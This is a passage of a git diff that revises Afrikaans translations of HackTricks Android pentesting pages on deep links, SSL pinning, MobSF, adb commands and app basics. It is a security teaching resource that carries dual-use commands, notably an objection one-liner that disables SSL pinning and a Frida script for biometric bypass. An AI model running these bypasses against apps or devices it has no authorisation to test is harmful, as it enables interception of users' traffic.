gereedskap soos MobSF of skripte soos [hierdie een](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -Jy kan 'n verklaarde **schema** open met **adb** of 'n **blaaier**: +Jy kan handmatig na diep skakels soek, met behulp van gereedskap soos MobSF of skripte soos [hierdie een](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +Jy kan 'n verklaarde **skema** open met **adb** of 'n **blaaier**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` @@ -390,7 +390,7 @@ Let daarop dat as jy die korrekte eindpunte binne die toepassing vind, jy dalk ' ### Vervoer Laag Inspeksie en Verifikasie Foute - **Sertifikate word nie altyd behoorlik ondersoek nie** deur Android-toepassings. Dit is algemeen dat hierdie toepassings waarskuwings oor die hoof sien en self-ondertekende sertifikate aanvaar of, in sommige gevalle, terugkeer na die gebruik van HTTP-verbindinge. -- **Onderhandelinge tydens die SSL/TLS handdruk is soms swak**, wat onveilige cipher suites gebruik. Hierdie kwesbaarheid maak die verbinding kwesbaar vir man-in-the-middle (MITM) aanvalle, wat dit moontlik maak vir aanvallers om die data te ontsleutel. +- **Onderhandelinge tydens die SSL/TLS handdruk is soms swak**, wat onveilige cipher suites gebruik. Hierdie kwesbaarheid maak die verbinding kwesbaar vir man-in-the-middle (MITM) aanvalle, wat aanvallers in staat stel om die data te ontsleutel. - **Lek van private inligting** is 'n risiko wanneer toepassings verifieer deur veilige kanale, maar dan oor nie-veilige kanale vir ander transaksies kommunikeer. Hierdie benadering slaag nie daarin om sensitiewe data, soos sessiekookies of gebruikersbesonderhede, teen onderskep deur kwaadwillige entiteite te beskerm nie. #### Sertifikaat Verifikasie @@ -403,7 +403,7 @@ SSL Pinning is 'n sekuriteitsmaatreël waar die toepassing die bediener se serti #### Verkeer Inspeksie -Om HTTP-verkeer te inspekteer, is dit nodig om die **proxy-gereedskap se sertifikaat** (bv. Burp) te **installeer**. Sonder om hierdie sertifikaat te installeer, mag geënkripteerde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n pasgemaakte CA-sertifikaat, [**klik hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Om HTTP-verkeer te inspekteer, is dit nodig om die **proxy-gereedskap se sertifikaat** (bv. Burp) te **installeer**. Sonder om hierdie sertifikaat te installeer, mag geënkripteerde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n aangepaste CA-sertifikaat, [**klik hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). Toepassings wat **API-vlak 24 en hoër** teiken, vereis wysigings aan die Netwerk Sekuriteit Konfigurasie om die proxy se CA-sertifikaat te aanvaar. Hierdie stap is krities vir die inspeksie van geënkripteerde verkeer. Vir instruksies oor die wysiging van die Netwerk Sekuriteit Konfigurasie, [**verwys na hierdie tutoriaal**](make-apk-accept-ca-certificate.md). @@ -415,7 +415,7 @@ Wanneer SSL Pinning geïmplementeer is, word dit noodsaaklik om dit te omseil om - Jy kan **Frida** gebruik (hieronder bespreek) om hierdie beskerming te omseil. Hier is 'n gids om Burp+Frida+Genymotion te gebruik: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - Jy kan ook probeer om **automaties SSL Pinning te omseil** met [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - Jy kan ook probeer om **automaties SSL Pinning te omseil** met **MobSF dinamiese analise** (hieronder verduidelik) -- As jy steeds dink dat daar sekere verkeer is wat jy nie opneem nie, kan jy probeer om **die verkeer na burp te stuur met iptables**. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- As jy steeds dink dat daar sekere verkeer is wat jy nie opneem nie, kan jy probeer om die verkeer na burp te **stuur met iptables**. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Soek na Algemene Web Kwesbaarhede @@ -470,7 +470,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ` `VT_UPLOAD = TRUE`). Jy kan ook `VT_UPLOAD` op `False` stel, dan sal die **hash** ge **upload** word in plaas van die lêer. +MobSF laat jou ook toe om **diff/vergelyking** analises te doen en om **VirusTotal** te integreer (jy sal jou API-sleutel in _MobSF/settings.py_ moet instel en dit aktiveer: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Jy kan ook `VT_UPLOAD` op `False` stel, dan sal die **hash** ge **upload** word in plaas van die lêer. ### Geassisteerde dinamiese analise met MobSF @@ -548,14 +548,14 @@ MobSF laat jou ook toe om jou eie **Frida-skripte** te laai (om die resultate va Boonop het jy 'n paar bykomende Frida-funksies: -- **Lade Klasse**: Dit sal al die gelaaide klasse druk -- **Vang Strings**: Dit sal al die gevangenis strings druk terwyl jy die toepassing gebruik (baie lawaaierig) -- **Vang String Vergelykings**: Kan baie nuttig wees. Dit sal **die 2 strings wat vergelyk word** wys en of die resultaat Waar of Onwaar was. -- **Lade Klas Metodes**: Sit die klasnaam (soos "java.io.File") en dit sal al die metodes van die klas druk. -- **Soek Klas Patroon**: Soek klasse volgens patroon -- **Trace Klas Metodes**: **Trace** 'n **hele klas** (sien invoere en uitsette van al die metodes van die klas). Onthou dat MobSF standaard verskeie interessante Android API-metodes trace. +- **Gelaaide Klasse Opnoem**: Dit sal al die gelaaide klasse druk +- **Stringe Vasvang**: Dit sal al die vasgevangde stringe druk terwyl jy die toepassing gebruik (baie lawaaiig) +- **String Vergelykings Vasvang**: Kan baie nuttig wees. Dit sal **die 2 stringe wat vergelyk word** wys en of die resultaat Waar of Onwaar was. +- **Klas Metodes Opnoem**: Sit die klasnaam (soos "java.io.File") en dit sal al die metodes van die klas druk. +- **Klas Patroon Soek**: Soek klasse volgens patroon +- **Klas Metodes Trace**: **Trace** 'n **hele klas** (sien invoere en uitgange van al die metodes van die klas). Onthou dat MobSF standaard verskeie interessante Android API-metodes trace. -Sodra jy die bykomende module gekies het wat jy wil gebruik, moet jy druk op "**Begin Instrumentasie**" en jy sal al die uitsette in "**Frida Live Logs**" sien. +Sodra jy die bykomende module wat jy wil gebruik gekies het, moet jy druk op "**Begin Instrumentasie**" en jy sal al die uitsette in "**Frida Live Logs**" sien. **Shell** @@ -570,10 +570,10 @@ receivers ``` **HTTP gereedskap** -Wanneer http-verkeer gevang word, kan jy 'n lelike weergawe van die gevange verkeer op "**HTTP(S) Traffic**" onderaan sien of 'n mooi weergawe in "**Start HTTPTools**" groen onder. Van die tweede opsie kan jy **stuur** die **gevange versoeke** na **proxies** soos Burp of Owasp ZAP.\ +Wanneer http-verkeer gevang word, kan jy 'n lelike weergawe van die gevange verkeer op "**HTTP(S) Traffic**" onderaan sien of 'n mooi weergawe in "**Start HTTPTools**" groen onder. Van die tweede opsie kan jy die **gevange versoeke** na **proxies** soos Burp of Owasp ZAP **stuur**.\ Om dit te doen, _skakel Burp aan -->_ _skakel Intercept af --> in MobSB HTTPTools kies die versoek_ --> druk "**Send to Fuzzer**" --> _kies die proxy adres_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Sodra jy die dinamiese analise met MobSF voltooi het, kan jy op "**Start Web API Fuzzer**" druk om **fuzz http versoeke** en soek na kwesbaarhede. +Sodra jy die dinamiese analise met MobSF voltooi het, kan jy op "**Start Web API Fuzzer**" druk om **http versoeke te fuzz** en soek na kwesbaarhede. > [!NOTE] > Na die uitvoering van 'n dinamiese analise met MobSF mag die proxy-instellings verkeerd geconfigureer wees en jy sal nie in staat wees om dit vanaf die GUI reg te stel nie. Jy kan die proxy-instellings regstel deur: @@ -589,13 +589,13 @@ Hierdie gereedskap sal 'n paar **Hooks** gebruik om jou te laat weet **wat in di ### [Yaazhini](https://www.vegabird.com/yaazhini/) -Dit is 'n **wonderlike gereedskap om statiese analise met 'n GUI** uit te voer. +Dit is 'n **geweldige gereedskap om statiese analise met 'n GUI** uit te voer. ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -Hierdie gereedskap is ontwerp om na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede** te soek, hetsy in **bronkode** of **verpakte APK's**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toetsapparaat te root nie. +Hierdie gereedskap is ontwerp om na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede** te soek, hetsy in **bronkode** of **gepakte APKs**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toetsapparaat te root nie. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -619,7 +619,7 @@ SUPER is 'n opdraglyn-toepassing wat gebruik kan word in Windows, MacOS X en Lin Alle reëls is gefokus in 'n `rules.json` lêer, en elke maatskappy of toetsers kan hul eie reëls skep om te analiseer wat hulle nodig het. -Laai die nuutste binaire lêers af van die [download page](https://superanalyzer.rocks/download.html) +Laai die nuutste binêre af van die [download page](https://superanalyzer.rocks/download.html) ``` super-analyzer {apk_file} ``` @@ -629,7 +629,7 @@ super-analyzer {apk_file} StaCoAn is 'n **crossplatform** hulpmiddel wat ontwikkelaars, bugbounty jagters en etiese hackers help om [statische kode analise](https://en.wikipedia.org/wiki/Static_program_analysis) op mobiele toepassings uit te voer. -Die konsep is dat jy jou mobiele toepassingslêer (n .apk of .ipa lêer) op die StaCoAn toepassing sleep en dit 'n visuele en draagbare verslag vir jou sal genereer. Jy kan die instellings en woordlyste aanpas om 'n gepersonaliseerde ervaring te kry. +Die konsep is dat jy jou mobiele toepassingslêer (n .apk of .ipa-lêer) op die StaCoAn-toepassing sleep en dit 'n visuele en draagbare verslag vir jou sal genereer. Jy kan die instellings en woordlyste aanpas om 'n gepersonaliseerde ervaring te kry. Laai [nuutste vrystelling](https://github.com/vincentcox/StaCoAn/releases): ``` @@ -647,9 +647,9 @@ androbugs.exe -f [APK file] **Androwarn** is 'n hulpmiddel wat as hoofdoel het om die gebruiker te detecteer en te waarsku oor potensiële kwaadwillige gedrag wat deur 'n Android-toepassing ontwikkel is. -Die detectie word uitgevoer met die **statische analise** van die toepassing se Dalvik bytecode, verteenwoordig as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek. +Die opsporing word uitgevoer met die **statische analise** van die toepassing se Dalvik bytecode, verteenwoordig as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek. -Hierdie hulpmiddel soek na **algemene gedrag van "slegte" toepassings** soos: Telefoonidentifiseerders eksfiltrasie, Klank/video vloei onderskepping, PIM data wysiging, Willekeurige kode uitvoering... +Hierdie hulpmiddel soek na **gewone gedrag van "slegte" toepassings** soos: Telefoonidentifiseerders eksfiltrasie, Klank/video vloei onderskepping, PIM data wysiging, Willekeurige kode uitvoering... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -659,26 +659,26 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 **MARA** is 'n **M**obiele **A**pplicatie **R**everse engineering en **A**nalise Framework. Dit is 'n hulpmiddel wat algemeen gebruikte mobiele toepassings reverse engineering en analise hulpmiddels saamvoeg, om te help met die toetsing van mobiele toepassings teen die OWASP mobiele sekuriteitsbedreigings. Die doel daarvan is om hierdie taak makliker en vriendeliker te maak vir mobiele toepassingsontwikkelaars en sekuriteitsprofessionals. -Dit is in staat om: +Dit kan: -- Java en Smali kode te onttrek met behulp van verskillende hulpmiddels -- APK's te analiseer met behulp van: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- Privaat inligting uit die APK te onttrek met behulp van regexps. -- Die Manifest te analiseer. -- Gevonde domeine te analiseer met behulp van: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb) -- APK te deobfuskeer via [apk-deguard.com](http://www.apk-deguard.com) +- Java en Smali kode onttrek met behulp van verskillende hulpmiddels +- APK's analiseer met behulp van: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- Privaat inligting uit die APK onttrek met behulp van regexps. +- Die Manifest analiseer. +- Gevonde domeine analiseer met behulp van: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb) +- APK deobfuskeer via [apk-deguard.com](http://www.apk-deguard.com) ### Koodous Nuttig om malware te detecteer: [https://koodous.com/](https://koodous.com) -## Obfuscating/Deobfuscating code +## Obfuskerende/Deobfuskerende kode Let daarop dat dit afhang van die diens en konfigurasie wat jy gebruik om die kode te obfuskeer. Geheime mag of mag nie obfuskeer wees nie. ### [ProGuard]() -Van [Wikipedia](): **ProGuard** is 'n oopbron-opdraglyn hulpmiddel wat Java kode verklein, optimaliseer en obfuskeer. Dit is in staat om bytecode te optimaliseer sowel as om ongebruikte instruksies te identifiseer en te verwyder. ProGuard is gratis sagteware en word versprei onder die GNU Algemene Publieke Lisensie, weergawe 2. +Van [Wikipedia](): **ProGuard** is 'n oopbron-opdraglyn hulpmiddel wat Java kode verklein, optimaliseer en obfuskeer. Dit kan bytecode optimaliseer sowel as ongebruikte instruksies opspoor en verwyder. ProGuard is gratis sagteware en word versprei onder die GNU Algemene Publieke Lisensie, weergawe 2. ProGuard word versprei as deel van die Android SDK en loop wanneer die toepassing in vrystellingmodus gebou word. @@ -690,7 +690,7 @@ Vind 'n stap-vir-stap gids om die apk te deobfuskeer in [https://blog.lexfo.fr/d - laai 'n hulpbron as 'n InputStream; - voer die resultaat aan 'n klas wat van FilterInputStream erf om dit te ontsleutel; -- doen 'n paar nuttelose obfuskerings om 'n paar minute se tyd van 'n omkeerder te mors; +- doen 'n paar nuttelose obfuskerings om 'n paar minute se tyd van 'n omgekeerder te mors; - voer die ontsleutelde resultaat aan 'n ZipInputStream om 'n DEX-lêer te kry; - laastens laai die resulterende DEX as 'n Hulpbron met behulp van die `loadDex` metode. @@ -700,17 +700,17 @@ Vind 'n stap-vir-stap gids om die apk te deobfuskeer in [https://blog.lexfo.fr/d Jy kan 'n obfuskeer APK na hul platform oplaai. -### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app +### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app) -Dit is 'n LLM hulpmiddel om enige potensiële sekuriteitskwesbaarhede in android toepassings te vind en android app kode te deobfuskeer. Gebruik Google se Gemini publieke API. +Dit is 'n LLM-hulpmiddel om enige potensiële sekuriteitskwesbaarhede in android-apps te vind en android-appkode te deobfuskeer. Gebruik Google's Gemini openbare API. ### [Simplify](https://github.com/CalebFenton/simplify) -Dit is 'n **generiese android deobfuscator.** Simplify **voortvirtueel 'n app** om sy gedrag te verstaan en dan **probeer om die kode te optimaliseer** sodat dit identies optree, maar makliker vir 'n mens om te verstaan. Elke optimalisering tipe is eenvoudig en generies, so dit maak nie saak watter spesifieke tipe obfuskerings gebruik word nie. +Dit is 'n **generiese android deobfuscator.** Simplify **voortvirtueel 'n app** om sy gedrag te verstaan en dan **probeer om die kode te optimaliseer** sodat dit identies optree, maar makliker vir 'n mens om te verstaan. Elke optimaliseringstipe is eenvoudig en generies, so dit maak nie saak watter spesifieke tipe obfuskerings gebruik word nie. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD gee jou inligting oor **hoe 'n APK gemaak is**. Dit identifiseer baie **kompilers**, **packers**, **obfuscators**, en ander vreemde goed. Dit is [_PEiD_](https://www.aldeid.com/wiki/PEiD) vir Android. +APKiD gee jou inligting oor **hoe 'n APK gemaak is**. Dit identifiseer baie **kompilers**, **pakkers**, **obfuskators**, en ander vreemde goed. Dit is [_PEiD_](https://www.aldeid.com/wiki/PEiD) vir Android. ### Manual @@ -720,7 +720,7 @@ APKiD gee jou inligting oor **hoe 'n APK gemaak is**. Dit identifiseer baie **ko ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b is 'n Android sekuriteits virtuele masjien gebaseer op ubuntu-mate wat die versameling van die nuutste raamwerke, tutoriaals en laboratoriums van verskillende sekuriteitsgeeks en navorsers vir reverse engineering en malware analise insluit. +AndroL4b is 'n Android sekuriteits virtuele masjien gebaseer op ubuntu-mate wat die versameling van die nuutste raamwerke, tutoriaal en laboratoriums van verskillende sekuriteitsgeeks en navorsers vir reverse engineering en malware analise insluit. ## References diff --git a/src/mobile-pentesting/android-app-pentesting/adb-commands.md b/src/mobile-pentesting/android-app-pentesting/adb-commands.md index e03c714a8..3b89b408a 100644 --- a/src/mobile-pentesting/android-app-pentesting/adb-commands.md +++ b/src/mobile-pentesting/android-app-pentesting/adb-commands.md @@ -1,3 +1,5 @@ +{{#include ../../banners/hacktricks-training.md}} + **Adb is gewoonlik geleë in:** ```bash #Windows @@ -14,7 +16,7 @@ adb devices ``` Dit sal die gekonnekte toestelle lys; as "_**onbevoeg**_" verskyn, beteken dit dat jy jou **mobiele** moet **ontsluit** en die verbinding moet **aanvaar**. -Dit dui aan vir die toestel dat dit 'n adb bediener op poort 5555 moet begin: +Dit dui aan die toestel dat dit 'n adb-bediener op poort 5555 moet begin: ``` adb tcpip 5555 ``` @@ -26,7 +28,7 @@ As jy 'n fout soos die volgende in 'n Virtuele Android sagteware (soos Genymotio ``` adb server version (41) doesn't match this client (36); killing... ``` -Dit is omdat jy probeer om met 'n ADB-bediener te verbind met 'n ander weergawe. Probeer net om die adb-binary te vind wat die sagteware gebruik (gaan na `C:\Program Files\Genymobile\Genymotion` en soek vir adb.exe) +Dit is omdat jy probeer om met 'n ADB-bediener van 'n ander weergawe te verbind. Probeer net om die adb-binary te vind wat die sagteware gebruik (gaan na `C:\Program Files\Genymobile\Genymotion` en soek vir adb.exe) ## Verskeie toestelle @@ -122,7 +124,7 @@ adb pull /sdcard/demo.mp4 ./ ``` ### adb push \ \ -Laai 'n gespesifiseerde lêer van jou rekenaar na 'n emuleerder/toestel op. +Laai 'n spesifieke lêer van jou rekenaar na 'n emulator/toestel op. ```bash adb push test.apk /sdcard ``` @@ -196,7 +198,7 @@ Herbegin die adbd daemon met worteltoestemmings. Dan moet jy weer aan die ADB-be ```bash adb sideload ``` -flits/restaureer Android update.zip pakkette. +flashing/restoring Android update.zip pakkette. # Logs @@ -261,7 +263,7 @@ Notas: 'n Mobiele toestel met Ontwikkelaar Opsies geaktiveer wat Android 5.0 of ```bash adb shell dumpsys batterystats collects battery data from your device ``` -Notas: [Battery Historian](https://github.com/google/battery-historian) omskakel daardie data in 'n HTML visualisering. **STAP 1** _adb shell dumpsys batterystats > batterystats.txt_ **STAP 2** _python historian.py batterystats.txt > batterystats.html_ +Notas: [Battery Historian](https://github.com/google/battery-historian) omskep daardie data in 'n HTML-visualisering. **STAP 1** _adb shell dumpsys batterystats > batterystats.txt_ **STAP 2** _python historian.py batterystats.txt > batterystats.html_ ```bash adb shell dumpsys batterystats --reset erases old collection data ``` diff --git a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md index 179b34f28..951c4c5e0 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -25,8 +25,8 @@ Vanaf Android 5.0(L) **SELinux** word afgedwing. Basies het SELinux alle prosesi ### Toestemmings -Wanneer jy 'n **app installeer en dit vra vir toestemmings**, vra die app vir die toestemmings wat in die **`uses-permission`** elemente in die **AndroidManifest.xml** lêer geconfigureer is. Die **uses-permission** element dui die naam van die aangevraagde toestemming binne die **naam** **attribuut aan.** Dit het ook die **maxSdkVersion** attribuut wat stop om vir toestemmings te vra op weergawes hoër as die een wat gespesifiseer is.\ -Let daarop dat android toepassings nie al die toestemmings aan die begin hoef te vra nie, hulle kan ook **dynamies vir toestemmings vra** maar al die toestemmings moet **verklaar** word in die **manifest.** +Wanneer jy 'n **app installeer en dit vra vir toestemmings**, vra die app vir die toestemmings wat in die **`uses-permission`** elemente in die **AndroidManifest.xml** lêer geconfigureer is. Die **uses-permission** element dui die naam van die aangevraagde toestemming binne die **naam** **attribuut aan.** Dit het ook die **maxSdkVersion** attribuut wat stop om vir toestemmings te vra op weergawes hoër as die een gespesifiseer.\ +Let daarop dat android toepassings nie al die toestemmings aan die begin hoef te vra nie, hulle kan ook **dynamies vir toestemmings vra**, maar al die toestemmings moet **verklaar** word in die **manifest.** Wanneer 'n app funksionaliteit blootstel, kan dit die **toegang beperk tot slegs apps wat 'n gespesifiseerde toestemming het**.\ 'n Toestemmingselement het drie attribuut: @@ -34,10 +34,10 @@ Wanneer 'n app funksionaliteit blootstel, kan dit die **toegang beperk tot slegs - Die **naam** van die toestemming - Die **permission-group** attribuut, wat toelaat om verwante toestemmings te groepeer. - Die **protection-level** wat aandui hoe die toestemmings toegeken word. Daar is vier tipes: -- **Normaal**: Gebruik wanneer daar **geen bekende bedreigings** vir die app is nie. Die gebruiker **word nie vereis om dit goed te keur nie**. +- **Normaal**: Gebruik wanneer daar **geen bekende bedreigings** vir die app is nie. Die gebruiker is **nie verplig om dit goed te keur nie**. - **Gevaarlik**: Dui aan dat die toestemming die aansoekende toepassing sekere **verhoogde toegang** gee. **Gebruikers word gevra om dit goed te keur**. - **Handtekening**: Slegs **apps wat deur dieselfde sertifikaat as die een** wat die komponent uitvoer, kan toestemming ontvang. Dit is die sterkste tipe beskerming. -- **HandtekeningOfStelsel**: Slegs **apps wat deur dieselfde sertifikaat as die een** wat die komponent uitvoer of **apps wat met stelselniveau toegang loop** kan toestemming ontvang. +- **HandtekeningOfStelsel**: Slegs **apps wat deur dieselfde sertifikaat as die een** wat die komponent uitvoer of **apps wat met stelselniveau toegang loop**, kan toestemming ontvang. ## Voorgeïnstalleerde Toepassings @@ -50,7 +50,7 @@ Hierdie apps word gewoonlik in die **`/system/app`** of **`/system/priv-app`** g ## Rooting Om worteltoegang tot 'n fisiese android toestel te verkry, moet jy gewoonlik 1 of 2 **kwesbaarhede** **ontgin** wat gewoonlik **spesifiek** vir die **toestel** en **weergawe** is.\ -Sodra die ontginning gewerk het, word gewoonlik die Linux `su` binêre na 'n plek gekopieer wat in die gebruiker se PATH omgewing veranderlike soos `/system/xbin` gespesifiseer is. +Sodra die ontginning gewerk het, word gewoonlik die Linux `su` binêre na 'n plek gekopieer wat in die gebruiker se PATH omgewing veranderlike gespesifiseer is, soos `/system/xbin`. Sodra die su binêre geconfigureer is, word 'n ander Android app gebruik om met die `su` binêre te kommunikeer en **versoeke vir worteltoegang te verwerk** soos **Superuser** en **SuperSU** (beskikbaar in die Google Play winkel). @@ -66,15 +66,15 @@ Let daarop dat **dit nie altyd nodig is om die toestel te root** om 'n pasgemaak ### Gevolge -Sodra 'n toestel ge-root is, kan enige app toegang as wortel vra. As 'n kwaadwillige toepassing dit kry, kan dit toegang tot byna alles hê en dit sal in staat wees om die foon te beskadig. +Sodra 'n toestel ge-root is, kan enige app toegang as wortel vra. As 'n kwaadwillige toepassing dit kry, kan dit toegang tot byna alles hê en die foon kan beskadig word. ## Android Toepassing Fundamentele -- Die formaat van Android toepassings word verwys na as _APK lêerformaat_. Dit is essensieel 'n **ZIP lêer** (deur die lêer uitbreiding na .zip te hernoem, kan die inhoud onttrek en gesien word). +- Die formaat van Android toepassings word verwys na as _APK lêerformaat_. Dit is essensieel 'n **ZIP lêer** (deur die lêernaamuitbreiding na .zip te hernoem, kan die inhoud onttrek en besigtig word). - APK Inhoud (Nie uitputtend nie) - **AndroidManifest.xml** - resources.arsc/strings.xml -- resources.arsc: bevat vooraf gecompileerde hulpbronne, soos binêre XML. +- resources.arsc: bevat voorafgecompileerde hulpbronne, soos binêre XML. - res/xml/files_paths.xml - META-INF/ - Dit is waar die Sertifikaat geleë is! @@ -87,7 +87,7 @@ Sodra 'n toestel ge-root is, kan enige app toegang as wortel vra. As 'n kwaadwil - `x86`: kode vir X86 verwerkers - `mips`: kode vir slegs MIPS verwerkers - assets/ -- Berg miscellaneous lêers wat deur die app benodig word, moontlik insluitend addisionele inheemse biblioteke of DEX lêers, soms deur kwaadwillige skrywers gebruik om addisionele kode te verberg. +- Stoor verskeie lêers wat deur die app benodig word, moontlik insluitend addisionele inheemse biblioteke of DEX lêers, soms deur kwaadwillige skrywers gebruik om addisionele kode te verberg. - res/ - Bevat hulpbronne wat nie in resources.arsc gecompileer is nie. @@ -95,20 +95,20 @@ Sodra 'n toestel ge-root is, kan enige app toegang as wortel vra. As 'n kwaadwil In Android ontwikkeling, **Java of Kotlin** word gebruik om apps te skep. In plaas daarvan om die JVM soos in lessenaarapps te gebruik, compileer Android hierdie kode in **Dalvik Uitvoerbare (DEX) bytecode**. Eerder het die Dalvik virtuele masjien hierdie bytecode hanteer, maar nou neem die Android Runtime (ART) oor in nuwer Android weergawes. -Vir omgekeerde ingenieurswese, word **Smali** noodsaaklik. Dit is die menslike leesbare weergawe van DEX bytecode, wat soos assembly taal optree deur bronkode in bytecode instruksies te vertaal. Smali en baksmali verwys na die samestelling en ontbinding gereedskap in hierdie konteks. +Vir omgekeerde ingenieurswese, word **Smali** noodsaaklik. Dit is die menslike leesbare weergawe van DEX bytecode, wat soos assemblytaal optree deur bronkode in bytecode instruksies te vertaal. Smali en baksmali verwys na die samestelling en ontbinding gereedskap in hierdie konteks. ## Intents Intents is die primêre middel waardeur Android apps tussen hul komponente of met ander apps kommunikeer. Hierdie boodskapobjekte kan ook data tussen apps of komponente dra, soortgelyk aan hoe GET/POST versoeke in HTTP kommunikasies gebruik word. -So 'n Intent is basies 'n **boodskap wat tussen komponente oorgedra word**. Intents **kan gerig word** na spesifieke komponente of apps, **of kan sonder 'n spesifieke ontvanger gestuur word**.\ +So 'n Intent is basies 'n **boodskap wat tussen komponente oorgedra word**. Intents **kan gerig** word aan spesifieke komponente of apps, **of kan sonder 'n spesifieke ontvanger gestuur word**.\ Om dit eenvoudig te stel, kan Intent gebruik word: - Om 'n Aktiwiteit te begin, tipies om 'n gebruikerskoppelvlak vir 'n app te open - As uitsendings om die stelsel en apps van veranderinge in kennis te stel -- Om 'n agtergronddiens te begin, stop, en kommunikeer +- Om 'n agtergronddiens te begin, stop, en met dit te kommunikeer - Om toegang tot data via ContentProviders te verkry -- As terugroep om gebeurtenisse te hanteer +- As terugroep funksies om gebeurtenisse te hanteer As kwesbaar, **kan Intents gebruik word om 'n verskeidenheid aanvalle uit te voer**. @@ -116,7 +116,7 @@ As kwesbaar, **kan Intents gebruik word om 'n verskeidenheid aanvalle uit te voe **Intent Filters** definieer **hoe 'n aktiwiteit, diens, of Uitsendingsontvanger met verskillende tipes Intents kan kommunikeer**. Essensieel beskryf hulle die vermoëns van hierdie komponente, soos watter aksies hulle kan uitvoer of die tipes uitsendings wat hulle kan verwerk. Die primêre plek om hierdie filters te verklaar is binne die **AndroidManifest.xml lêer**, hoewel dit ook 'n opsie is om dit vir Uitsendingsontvangers te kodeer. -Intent Filters bestaan uit kategorieë, aksies, en data filters, met die moontlikheid om addisionele metadata in te sluit. Hierdie opstelling laat komponente toe om spesifieke Intents te hanteer wat by die verklaarde kriteria pas. +Intent Filters bestaan uit kategorieë, aksies, en data filters, met die moontlikheid om addisionele metadata in te sluit. Hierdie opstelling laat komponente toe om spesifieke Intents te hanteer wat aan die verklaarde kriteria voldoen. 'n Kritieke aspek van Android komponente (aktiwiteite/dienste/inhoudverskaffers/uitsendingsontvangers) is hul sigbaarheid of **publieke status**. 'n Komponent word as publiek beskou en kan met ander apps kommunikeer as dit **`exported`** is met 'n waarde van **`true`** of as 'n Intent Filter vir dit in die manifest verklaar is. Daar is egter 'n manier vir ontwikkelaars om hierdie komponente eksplisiet privaat te hou, wat verseker dat hulle nie onbedoeld met ander apps kommunikeer nie. Dit word bereik deur die **`exported`** attribuut op **`false`** in hul manifest definisies te stel. @@ -128,7 +128,7 @@ Boonop het ontwikkelaars die opsie om toegang tot hierdie komponente verder te b ``` ### Impliciete Intents -Intents word programmaties geskep met 'n Intent-konstruktors: +Intents word programmaties geskep met 'n Intent-konstruksie: ```java Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:")); ``` @@ -161,17 +161,17 @@ context.startService(intent); ``` ### Pending Intents -Hierdie laat ander toepassings toe om **optrede namens jou toepassing te neem**, met jou app se identiteit en toestemmings. Om 'n Pending Intent te konstrueer, moet 'n **intent en die aksie wat uitgevoer moet word** gespesifiseer word. As die **verklaarde intent nie Eksplisiet** is (nie verklaar watter intent dit kan oproep nie), kan 'n **kwaadwillige toepassing die verklaarde aksie** namens die slagoffer-app uitvoer. Boonop, **as 'n aksie nie gespesifiseer is nie**, sal die kwaadwillige app in staat 